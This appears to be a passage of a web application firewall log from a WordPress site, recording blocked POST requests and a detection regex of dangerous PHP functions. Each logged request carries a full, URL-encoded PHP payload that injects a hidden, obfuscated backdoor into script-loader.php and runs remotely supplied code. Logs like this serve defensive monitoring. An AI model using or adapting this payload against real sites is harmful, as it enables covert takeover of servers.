2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524component%255B%2524data%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524data%2520%253E%253D%2520count%2528%2524component%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%253F%2520is_writable%2528%2524parameter_group%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524desc%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524data%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:43:59","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> FJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/script-loader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524n%253D0%253B%2520%2524n%253Cstrlen%2528%2524key%2529%253B%2520%2524n%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524n%255D%2529%2520%255E%252029%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524component%255B%2524data%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524data%2520%253E%253D%2520count%2528%2524component%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%253F%2520is_writable%2528%2524parameter_group%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524desc%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524data%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvExbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4116\n\nFJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/script-loader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524n%253D0%253B%2520%2524n%253Cstrlen%2528%2524key%2529%253B%2520%2524n%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524n%255D%2529%2520%255E%252029%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524component%255B%2524data%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524data%2520%253E%253D%2520count%2528%2524component%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%253F%2520is_writable%2528%2524parameter_group%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524desc%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524data%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:44:01","144.76.215.54","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Lt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/script-loader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524n%253D0%253B%2520%2524n%253Cstrlen%2528%2524key%2529%253B%2520%2524n%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524n%255D%2529%2520%255E%252029%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524component%255B%2524data%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524data%2520%253E%253D%2520count%2528%2524component%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%253F%2520is_writable%2528%2524parameter_group%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524desc%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524data%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGUDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4116\n\nLt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/script-loader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524n%253D0%253B%2520%2524n%253Cstrlen%2528%2524key%2529%253B%2520%2524n%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524n%255D%2529%2520%255E%252029%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524component%255B%2524data%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524data%2520%253E%253D%2520count%2528%2524component%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%253F%2520is_writable%2528%2524parameter_group%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524desc%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524data%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:44:03","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/script-loader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524n%253D0%253B%2520%2524n%253Cstrlen%2528%2524key%2529%253B%2520%2524n%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524n%255D%2529%2520%255E%252029%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524component%255B%2524data%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524data%2520%253E%253D%2520count%2528%2524component%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%253F%2520is_writable%2528%2524parameter_group%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524desc%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524data%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"macOS\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\ncontent-length:4139\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/script-loader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524n%253D0%253B%2520%2524n%253Cstrlen%2528%2524key%2529%253B%2520%2524n%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524n%255D%2529%2520%255E%252029%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524component%255B%2524data%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524data%2520%253E%253D%2520count%2528%2524component%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%253F%2520is_writable%2528%2524parameter_group%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524desc%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524data%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
